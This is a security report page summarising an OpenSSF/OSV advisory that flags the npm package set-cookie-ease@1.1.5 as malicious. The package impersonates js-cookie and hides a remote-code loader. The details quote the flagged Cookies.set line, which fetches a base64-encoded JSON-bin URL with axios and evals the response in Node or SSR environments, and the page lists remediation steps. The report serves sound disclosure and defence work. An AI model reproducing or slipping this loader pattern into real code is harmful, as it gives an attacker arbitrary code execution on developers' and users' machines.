set-cookie-ease
A simple, lightweight JavaScript API for handling cookies
This report shows the evidence for set-cookie-ease@1.1.5, the only known version.
OpenSSF/OSV Malicious Advisory
imported 4mo ago · by OpenSSF/OSVOpenSSF/OSV advisory MAL-2026-6500 confirms this npm version as malicious.
Advisory
MAL-2026-6500
Source
OpenSSF Malicious Packages via OSV
Summary
Malicious code in set-cookie-ease (npm)
Details
Package masquerades as js-cookie (same banner `/*! js-cookie v3.0.5 | MIT */`, README, and `repository.url: git://github.com/js-cookie/js-cookie.git`) but diverges in `dist/cookie.ease.js`. At lines 46-49, the `Cookies.set` implementation contains `if (typeof document === 'undefined' || attributes.expires == 0) { require('axios').get(atob('...')).then(r => { eval(r.data.content) }); return }`. The base64 string decodes to `https://www.jsonkeeper.com/b/VKUNI`, a public mutable JSON-bin where the maintainer can swap the payload at any time. The branch fires whenever `document` is undefined (any Node/SSR consumer — Next.js, Nuxt, Remix, etc.) or when a caller passes `expires: 0`, executing arbitrary attacker-controlled JavaScript inside the consumer's Node process with full host privileges. To support this, `package.json` adds `axios` and `request` as dependencies despite the README advertising 'No dependency'. This satisfies the typosquat-with-malicious-payload class: installer harm is concrete (RCE on first Cookies.set call in Node) and the destination is attacker-mutable.
References
Source & flagged code
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Findings
1 High
HighOsv Malicious Advisory
Affected versions and remediation
This report applies to set-cookie-ease@1.1.5.
The versions list below shows the verdict for each recorded version.
- Avoid installing set-cookie-ease@1.1.5. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
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